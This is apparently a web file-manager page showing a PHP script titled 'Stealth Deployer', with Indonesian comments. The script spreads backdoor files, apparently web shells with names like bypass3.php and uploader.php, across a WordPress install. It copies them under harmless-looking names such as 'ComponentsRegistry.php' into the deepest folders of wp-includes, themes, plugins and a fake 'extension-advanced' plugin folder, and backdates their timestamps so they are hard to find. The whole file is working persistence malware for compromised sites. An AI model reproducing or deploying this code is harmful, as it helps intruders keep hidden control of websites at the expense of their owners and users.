← Back
Editing: 3-leuser-deploy-new.php
<?php @error_reporting(0); @ini_set('display_errors', 0); $sourcesList = ['a-leuser-red-minify.php', 'blue.php', 'bypass3.php', 'bypass4.php', 'nothing3.php', 'nothing4.php', 'uploader.php']; $availableSources = []; foreach ($sourcesList as $srcFile) { $srcPath = __DIR__ . '/' . $srcFile; if (file_exists($srcPath)) { $availableSources[] = $srcPath; } } if (empty($availableSources)) { die('Tidak ada file sumber yang ditemukan di direktori ini.'); } $host = $_SERVER['HTTP_HOST']; $docRoot = $_SERVER['DOCUMENT_ROOT']; $customTargetNames = [ 'StringsNormalizer.php', 'ObjectPathFinders.php', 'DynamicsFieldMap.php', 'RenderingContexts.php', 'ResponsesEnvelope.php', 'ComponentsRegistry.php', 'ArchivesConnector.php' ]; // PENTING: Acak sumber lalu pasangkan 1-to-1 agar tiap nama target punya isi & ukuran unik yang berbeda shuffle($availableSources); $targetSourceMap = []; for ($i = 0; $i < count($customTargetNames); $i++) { $targetSourceMap[$customTargetNames[$i]] = $availableSources[$i % count($availableSources)]; } // Fungsi tanggal bawaan asli (Random 2024 - 2025) function setFileRandomDate2024To2025($targetFile) { $randomYear = (rand(0, 1) === 0) ? 2024 : 2025; $randomMonth = rand(1, 12); $randomDay = rand(1, 28); $randomHour = rand(0, 23); $randomMinute = rand(0, 59); $fixedTime = mktime($randomHour, $randomMinute, 0, $randomMonth, $randomDay, $randomYear); @touch($targetFile, $fixedTime, $fixedTime); } // Fungsi andalan untuk mencari folder yang paling mentok (tidak punya subfolder lagi) function getDeepestFolders($dir, &$leafDirs) { $subdirs = @glob($dir . '/*', GLOB_ONLYDIR); if (empty($subdirs)) { $leafDirs[] = $dir; } else { foreach ($subdirs as $subdir) { getDeepestFolders($subdir, $leafDirs); } } } $success = []; // 1. BUAT HIDDEN BACKUP FOLDER DENGAN STRUKTUR TERDALAM $hiddenBackupRoot = $docRoot . '/wp-content/plugins/extension-advanced'; $hiddenDeepPath = $hiddenBackupRoot . '/core/logs/archive'; if (!is_dir($hiddenDeepPath)) { @mkdir($hiddenDeepPath, 0755, true); @file_put_contents($hiddenBackupRoot . '/index.php', '<?php // Silence is golden.'); @file_put_contents($hiddenBackupRoot . '/core/index.php', '<?php // Silence is golden.'); @file_put_contents($hiddenBackupRoot . '/core/logs/index.php', '<?php // Silence is golden.'); } $hiddenLeafs = []; getDeepestFolders($hiddenBackupRoot, $hiddenLeafs); // 2. Ambil folder terdalam khusus di wp-includes (Minimal 5 folder) $includesDir = $docRoot . '/wp-includes'; $includesLeafs = []; if (is_dir($includesDir)) { getDeepestFolders($includesDir, $includesLeafs); } shuffle($includesLeafs); $selectedIncludesLeafs = array_slice($includesLeafs, 0, max(5, count($includesLeafs))); // 3. Ambil folder terdalam di Themes & Plugins untuk penggenap $themesLeafs = []; $themesDir = $docRoot . '/wp-content/themes'; if (is_dir($themesDir)) getDeepestFolders($themesDir, $themesLeafs); $pluginsLeafs = []; $pluginsDir = $docRoot . '/wp-content/plugins'; if (is_dir($pluginsDir)) getDeepestFolders($pluginsDir, $pluginsLeafs); $generalLeafs = array_merge($themesLeafs, $pluginsLeafs); shuffle($generalLeafs); // Proses Penyebaran Menggunakan Sumber Unik Masing-Masing Target foreach ($customTargetNames as $index => $targetName) { // Ambil file sumber khusus yang sudah dipetakan untuk target ini $source = $targetSourceMap[$targetName]; // A. Masukkan ke Hidden Backup Folder if (!empty($hiddenLeafs)) { $targetDir = $hiddenLeafs[$index % count($hiddenLeafs)]; $target = $targetDir . '/' . $targetName; if (@copy($source, $target)) { @chmod($target, 0644); setFileRandomDate2024To2025($target); $success[] = $target; } } // B. Sebar ke wp-includes (Minimal 5 folder terdalam) if (!empty($selectedIncludesLeafs)) { $targetDir = $selectedIncludesLeafs[$index % count($selectedIncludesLeafs)]; $target = $targetDir . '/' . $targetName; if (@copy($source, $target)) { @chmod($target, 0644); setFileRandomDate2024To2025($target); $success[] = $target; } } // C. Sebar ke Themes / Plugins (Ambil 2 folder random per nama file) if (!empty($generalLeafs)) { $selectedGeneral = array_slice($generalLeafs, ($index * 2) % count($generalLeafs), 2); foreach ($selectedGeneral as $targetDir) { $target = $targetDir . '/' . $targetName; if (@copy($source, $target)) { @chmod($target, 0644); setFileRandomDate2024To2025($target); $success[] = $target; } } } } echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Stealth Deployer</title>"; echo "<style>body{background:#1a1a1a;color:#0f0;font:13px monospace;padding:20px}h2{color:#0f0}h3{color:#ff0}.ok{color:#0f0}table{border-collapse:collapse;width:100%}td,th{border:1px solid #333;padding:4px 8px;text-align:left}th{background:#222}</style>"; echo "</head><body>"; echo "<h2>Stealth Deployer (Unique Sources, Hidden Backups, Includes, Themes & Plugins) — $host</h2>"; echo "<h3 class='ok'>✅ Sukses Disebar Total " . count($success) . " File (Setiap Target Menggunakan File Sumber Unik Berbeda)</h3>"; echo "<table><tr><th>Path File (Mentok)</th></tr>"; foreach ($success as $s) { echo "<tr><td class='ok'>" . htmlspecialchars($s) . "</td></tr>"; } echo "</table>"; echo "</body></html>"; ?>
Save File
Cancel